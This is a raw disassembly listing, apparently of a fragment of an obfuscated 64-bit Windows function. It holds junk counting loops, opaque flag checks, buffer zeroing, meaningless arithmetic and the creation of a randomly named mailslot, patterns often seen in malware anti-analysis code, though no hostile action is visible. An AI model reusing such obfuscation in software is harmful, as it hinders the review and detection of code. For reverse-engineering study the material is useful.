movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x140022b2f
mov dword [rsp + 0x48], 0x2d99
mov dword [rsp + 0xa8], 0
jmp 0x140022abf
mov eax, dword [rsp + 0xa8]
inc eax
mov dword [rsp + 0xa8], eax
cmp dword [rsp + 0xa8], 0x13
jge 0x140022ae0
cmp dword [rsp + 0x48], 0
jge 0x140022ad4
jmp 0x140022ae0
mov eax, dword [rsp + 0x48]
dec eax
mov dword [rsp + 0x48], eax
jmp 0x140022aaf
mov dword [rsp + 0x48], 0x2f88c
mov dword [rsp + 0xac], 0
cmp dword [rsp + 0xac], 0x56
jge 0x140022b2f
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x140022b0f
movzx eax, byte [rsp + 0x21]
test eax, eax
jne 0x140022b18
movzx eax, byte [rsp + 0x21]
test eax, eax
jne 0x140022b1d
mov byte [rsp + 0x21], 0
mov eax, dword [rsp + 0xac]
inc eax
mov dword [rsp + 0xac], eax
jmp 0x140022af3
mov byte [rsp + 0x6a], 1
mov byte [rsp + 0x25], 1
mov byte [rsp + 0x26], 1
mov byte [rsp + 0x34], 0
movzx eax, byte [rsp + 0x25]
test eax, eax
je 0x140022b55
movzx eax, byte [rsp + 0x26]
test eax, eax
jne 0x140022b62
movzx eax, byte [rsp + 0x34]
test eax, eax
je 0x140022bfc
mov dword [rsp + 0x4c], 0x112d1
mov dword [rsp + 0xb0], 0
jmp 0x140022b87
mov eax, dword [rsp + 0xb0]
inc eax
mov dword [rsp + 0xb0], eax
cmp dword [rsp + 0xb0], 0x2c
jge 0x140022ba8
cmp dword [rsp + 0x4c], 0
jge 0x140022b9c
jmp 0x140022ba8
mov eax, dword [rsp + 0x4c]
dec eax
mov dword [rsp + 0x4c], eax
jmp 0x140022b77
mov dword [rsp + 0x4c], 0x94958
mov dword [rsp + 0xb4], 0
cmp dword [rsp + 0xb4], 0x56
jge 0x140022bf7
movzx eax, byte [rsp + 0x26]
test eax, eax
je 0x140022bd7
movzx eax, byte [rsp + 0x25]
test eax, eax
jne 0x140022be0
movzx eax, byte [rsp + 0x25]
test eax, eax
jne 0x140022be5
mov byte [rsp + 0x26], 0
mov eax, dword [rsp + 0xb4]
inc eax
mov dword [rsp + 0xb4], eax
jmp 0x140022bbb
jmp 0x140022da4
lea rax, [rsp + 0x560]
mov rdi, rax
xor eax, eax
mov ecx, 0x630
rep stosb byte [rdi], al
mov dword [rsp + 0xb8], 0
jmp 0x140022c2d
mov eax, dword [rsp + 0xb8]
inc eax
mov dword [rsp + 0xb8], eax
movsxd rax, dword [rsp + 0xb8]
cmp rax, 0xb
jae 0x140022c66
mov dword [rsp + 0xbc], 0
jmp 0x140022c58
mov eax, dword [rsp + 0xbc]
inc eax
mov dword [rsp + 0xbc], eax
cmp dword [rsp + 0xbc], 0x12
jge 0x140022c64
jmp 0x140022c48
jmp 0x140022c1d
lea rax, [rsp + 0xb90]
mov rdi, rax
xor eax, eax
mov ecx, 0x630
rep stosb byte [rdi], al
mov dword [rsp + 0xc0], 0
jmp 0x140022c97
mov eax, dword [rsp + 0xc0]
inc eax
mov dword [rsp + 0xc0], eax
movsxd rax, dword [rsp + 0xc0]
cmp rax, 0xb
jae 0x140022cd0
mov dword [rsp + 0xc4], 0
jmp 0x140022cc2
mov eax, dword [rsp + 0xc4]
inc eax
mov dword [rsp + 0xc4], eax
cmp dword [rsp + 0xc4], 0x12
jge 0x140022cce
jmp 0x140022cb2
jmp 0x140022c87
lea rax, [rsp + 0x11c0]
mov rdi, rax
xor eax, eax
mov ecx, 0x630
rep stosb byte [rdi], al
mov dword [rsp + 0xc8], 0
jmp 0x140022d01
mov eax, dword [rsp + 0xc8]
inc eax
mov dword [rsp + 0xc8], eax
movsxd rax, dword [rsp + 0xc8]
cmp rax, 0xb
jae 0x140022d3a
mov dword [rsp + 0xcc], 0
jmp 0x140022d2c
mov eax, dword [rsp + 0xcc]
inc eax
mov dword [rsp + 0xcc], eax
cmp dword [rsp + 0xcc], 0x12
jge 0x140022d38
jmp 0x140022d1c
jmp 0x140022cf1
lea rax, [rsp + 0x17f0]
mov rdi, rax
xor eax, eax
mov ecx, 0x630
rep stosb byte [rdi], al
mov dword [rsp + 0xd0], 0
jmp 0x140022d6b
mov eax, dword [rsp + 0xd0]
inc eax
mov dword [rsp + 0xd0], eax
movsxd rax, dword [rsp + 0xd0]
cmp rax, 0xb
jae 0x140022da4
mov dword [rsp + 0xd4], 0
jmp 0x140022d96
mov eax, dword [rsp + 0xd4]
inc eax
mov dword [rsp + 0xd4], eax
cmp dword [rsp + 0xd4], 0x12
jge 0x140022da2
jmp 0x140022d86
jmp 0x140022d5b
mov byte [rsp + 0x6b], 0
mov byte [rsp + 0x6c], 1
mov byte [rsp + 0x6d], 0
mov byte [rsp + 0x2d], 0
mov byte [rsp + 0x22], 0
mov byte [rsp + 0x35], 1
movzx eax, byte [rsp + 0x2d]
test eax, eax
je 0x140022e7e
movzx eax, byte [rsp + 0x22]
test eax, eax
je 0x140022e7e
movzx eax, byte [rsp + 0x35]
test eax, eax
je 0x140022e7e
mov dword [rsp + 0x50], 0xe4ca
mov dword [rsp + 0xd8], 0
jmp 0x140022e0e
mov eax, dword [rsp + 0xd8]
inc eax
mov dword [rsp + 0xd8], eax
cmp dword [rsp + 0xd8], 5
jge 0x140022e2f
cmp dword [rsp + 0x50], 0
jge 0x140022e23
jmp 0x140022e2f
mov eax, dword [rsp + 0x50]
dec eax
mov dword [rsp + 0x50], eax
jmp 0x140022dfe
mov dword [rsp + 0x50], 0x98c02
mov dword [rsp + 0xdc], 0
cmp dword [rsp + 0xdc], 9
jge 0x140022e7e
movzx eax, byte [rsp + 0x2d]
test eax, eax
je 0x140022e5e
movzx eax, byte [rsp + 0x22]
test eax, eax
jne 0x140022e67
movzx eax, byte [rsp + 0x22]
test eax, eax
jne 0x140022e6c
mov byte [rsp + 0x22], 0
mov eax, dword [rsp + 0xdc]
inc eax
mov dword [rsp + 0xdc], eax
jmp 0x140022e42
mov byte [rsp + 0x6e], 1
lea rax, [rsp + 0x3c80]
lea rcx, str.LVCGlfbAJs
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.OLEAUT32.dll_SafeArrayAccessData
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x3c96]
mov rdi, rax
xor eax, eax
mov ecx, 0xb2
rep stosb byte [rdi], al
mov byte [rsp + 0x27], 0
mov eax, 2
imul rax, rax, 0
movzx eax, word [rsp + rax + 0x3c80]
cmp eax, 0x46
je 0x140022ee8
mov eax, 2
imul rax, rax, 3
movzx eax, word [rsp + rax + 0x3c80]
cmp eax, 0x57
jne 0x140022f94
mov byte [rsp + 0x27], 1
mov dword [rsp + 0x30], 0x1ef2
mov dword [rsp + 0x38], 0x1498
mov dword [rsp + 0x54], 0x25ac
mov eax, dword [rsp + 0x30]
add eax, 0x75a
imul ecx, dword [rsp + 0x54], 0x2279
imul ecx, ecx, 0x72a
sub eax, ecx
imul ecx, dword [rsp + 0x54], 0x2577
imul ecx, dword [rsp + 0x54]
imul ecx, ecx, 0xc
add eax, ecx
mov dword [rsp + 0x30], eax
imul eax, dword [rsp + 0x38], 0x57f
sub eax, 0xbec
sub eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x38]
lea eax, [rax + rcx + 0x651]
sub eax, dword [rsp + 0x30]
sub eax, 0x5c
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x30]
add eax, 0x33ca
sub eax, dword [rsp + 0x30]
add eax, 0x2566
sub eax, dword [rsp + 0x30]
imul ecx, dword [rsp + 0x38], 0x1c
lea eax, [rax + rcx + 0xe46]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x38]
cmp dword [rsp + 0x30], eax
jne 0x140022f8f
mov eax, dword [rsp + 0x38]
jmp 0x14002318f
lea rax, str.Info_ljDxptwyb
mov qword [rsp + 0x178], rax
xor r9d, r9d
mov r8d, 0xffffffff
xor edx, edx
mov rcx, qword [rsp + 0x178]
call qword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov qword [rsp + 0x110], rax
cmp qword [rsp + 0x110], 0xffffffffffffffff
je 0x14002318a
lea rax, [rsp + 0x1e20]
mov rdi, rax
xor eax, eax
mov ecx, 0x6e0
rep stosb byte [rdi], al
mov dword [rsp + 0xe0], 0
jmp 0x140023004
mov eax, dword [rsp + 0xe0]
inc eax
mov dword [rsp + 0xe0], eax
movsxd rax, dword [rsp + 0xe0]
cmp rax, 0xb
jae 0x14002303d
mov dword [rsp + 0xe4], 0
jmp 0x14002302f
mov eax, dword [rsp + 0xe4]
inc eax
mov dword [rsp + 0xe4], eax
cmp dword [rsp + 0xe4], 0x14
jge 0x14002303b
jmp 0x14002301f
jmp 0x140022ff4
lea rax, [rsp + 0x2500]
mov rdi, rax
xor eax, eax
mov ecx, 0x6e0
rep stosb byte [rdi], al
mov dword [rsp + 0xe8], 0
jmp 0x14002306e
mov eax, dword [rsp + 0xe8]
inc eax
mov dword [rsp + 0xe8], eax
movsxd rax, dword [rsp + 0xe8]
cmp rax, 0xb
jae 0x1400230a7
mov dword [rsp + 0xec], 0
jmp 0x140023099
mov eax, dword [rsp + 0xec]
inc eax
mov dword [rsp + 0xec], eax
cmp dword [rsp + 0xec], 0x14
jge 0x1400230a5
jmp 0x140023089
jmp 0x14002305e
lea rax, [rsp + 0x2be0]
mov rdi, rax
xor eax, eax
mov ecx, 0x6e0
rep stosb byte [rdi], al
mov dword [rsp + 0xf0], 0
jmp 0x1400230d8
mov eax, dword [rsp + 0xf0]
inc eax
mov dword [rsp + 0xf0], eax
movsxd rax, dword [rsp + 0xf0]
cmp rax, 0xb
jae 0x140023111
mov dword [rsp + 0xf4], 0
jmp 0x140023103
mov eax, dword [rsp + 0xf4]
inc eax
mov dword [rsp + 0xf4], eax
cmp dword [rsp + 0xf4], 0x14
jge 0x14002310f
jmp 0x1400230f3
jmp 0x1400230c8
lea rax, [rsp + 0x32c0]
mov rdi, rax
xor eax, eax
mov ecx, 0x6e0
rep stosb byte [rdi], al
mov dword [rsp + 0xf8], 0
jmp 0x140023142
mov eax, dword [rsp + 0xf8]
inc eax
mov dword [rsp + 0xf8], eax
movsxd rax, dword [rsp + 0xf8]
cmp rax, 0xb
jae 0x14002317b
mov dword [rsp + 0xfc], 0
jmp 0x14002316d
mov eax, dword [rsp + 0xfc]
inc eax
mov dword [rsp + 0xfc], eax
cmp dword [rsp + 0xfc], 0x14
jge 0x140023179
jmp 0x14002315d
jmp 0x140023132
mov rcx, qword [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov byte [rsp + 0x27], 0
movzx eax, byte [rsp + 0x27]
mov rax, qword [rsp + 0x3d80]
mov rcx, qword [rsp + 0x39b0]
mov qword [rax], rcx
mov qword [rsp + 0x39b0], 0
mov eax, dword [rsp + 0x108]
or eax, 1
mov dword [rsp + 0x108], eax
cmp qword [rsp + 0x39b0], 0
je 0x1400231e6
mov rax, qword [rsp + 0x39b0]
mov rcx, qword [rsp + 0x39b0]
mov rax, qword [rax]
call qword [rax + 0x10]
nop
cmp qword [rsp + 0x39b8], 0
je 0x140023208
mov rax, qword [rsp + 0x39b8]
mov rcx, qword [rsp + 0x39b8]
mov rax, qword [rax]
call qword [rax + 0x10]
nop
lea rcx, [rsp + 0x39e0]
call fcn.140044a70
nop
mov rax, qword [rsp + 0x3d80]
mov rcx, qword [rsp + 0x3d50]
xor rcx, rsp
call fcn.140046fd0
add rsp, 0x3d68
pop rdi
pop rsi
ret